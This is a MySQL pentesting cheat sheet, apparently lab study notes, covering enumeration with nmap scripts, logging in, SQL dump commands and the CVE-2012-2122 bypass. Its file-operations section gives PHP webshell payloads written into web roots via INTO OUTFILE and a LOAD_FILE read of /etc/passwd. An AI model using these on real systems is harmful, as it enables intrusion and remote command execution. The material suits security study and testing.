Pentesting MySQL

Overview

• Default port: TCP 3306

• Config file: /etc/mysql/mysql.conf.d/mysqld.cnf

Installation

sudo apt install mysql-server -y

View Config

cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | sed -r '/^\s*$/d'

Dangerous Settings

Setting	Description
user	MySQL service user (plain text in config)
password	MySQL user password (plain text in config)
admin_address	Admin listen IP
debug	Debugging output settings
sql_warnings	Warnings on single-row INSERT
secure_file_priv	Import/export path restrictions

Scanning

sudo nmap 10.129.14.128 -sV -sC -p3306 --script mysql*

NSE scripts: mysql-brute, mysql-databases, mysql-dump-hashes, mysql-empty-password, mysql-enum, mysql-info, mysql-users, mysql-variables, mysql-vuln-cve2012-2122

Connecting

mysql -u root -h 10.129.14.132
mysql -u root -pP4SSw0rd -h 10.129.14.128

Note: no space between -p and the password.

If remote MySQL returns an error such as Host 'ATTACKER_IP' is not allowed to connect, the credentials may still work locally on the target. Try from a shell on the host or through an SSH local forward:

mysql -u USER -h 127.0.0.1 -p
ssh USER@TARGET -L 3306:127.0.0.1:3306
mysql -u USER -h 127.0.0.1 -p

MySQL Commands

Command	Description
show databases;	List databases
use <database>;	Select database
show tables;	List tables
show columns from <table>;	List columns
select * from <table>;	Dump table
select * from <table> where <column> = "<string>";	Filter rows
select version();	Server version

Important System Databases

• system schema (sys) — tables, info, metadata for management

• information_schema — database metadata

---

File Operations

Write Webshell (requires FILE privilege)

SELECT "<?php echo shell_exec($_GET['c']);?>" INTO OUTFILE '/var/www/html/webshell.php';

Check secure_file_priv — if empty, file operations are unrestricted; if set to a directory, writes are limited to that path; if NULL, file operations are disabled:

show variables like "secure_file_priv";

On Windows WAMP, the webroot may be C:\wamp\www:

SHOW VARIABLES LIKE 'basedir';
SHOW VARIABLES LIKE 'datadir';
SHOW VARIABLES LIKE 'secure_file_priv';

SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE "C:\\wamp\\www\\shell.php";

Trigger with:

http://TARGET:8080/shell.php?cmd=dir

Read Local Files

select LOAD_FILE("/etc/passwd");

---

Windows MySQL Client

C:\htb> mysql.exe -u username -pPassword123 -h 10.129.20.13

---

Known Vulnerabilities

CVE	Description
CVE-2012-2122	MySQL 5.6.x authentication bypass via timing attack — approximately 1 in 256 connection attempts succeeds with any password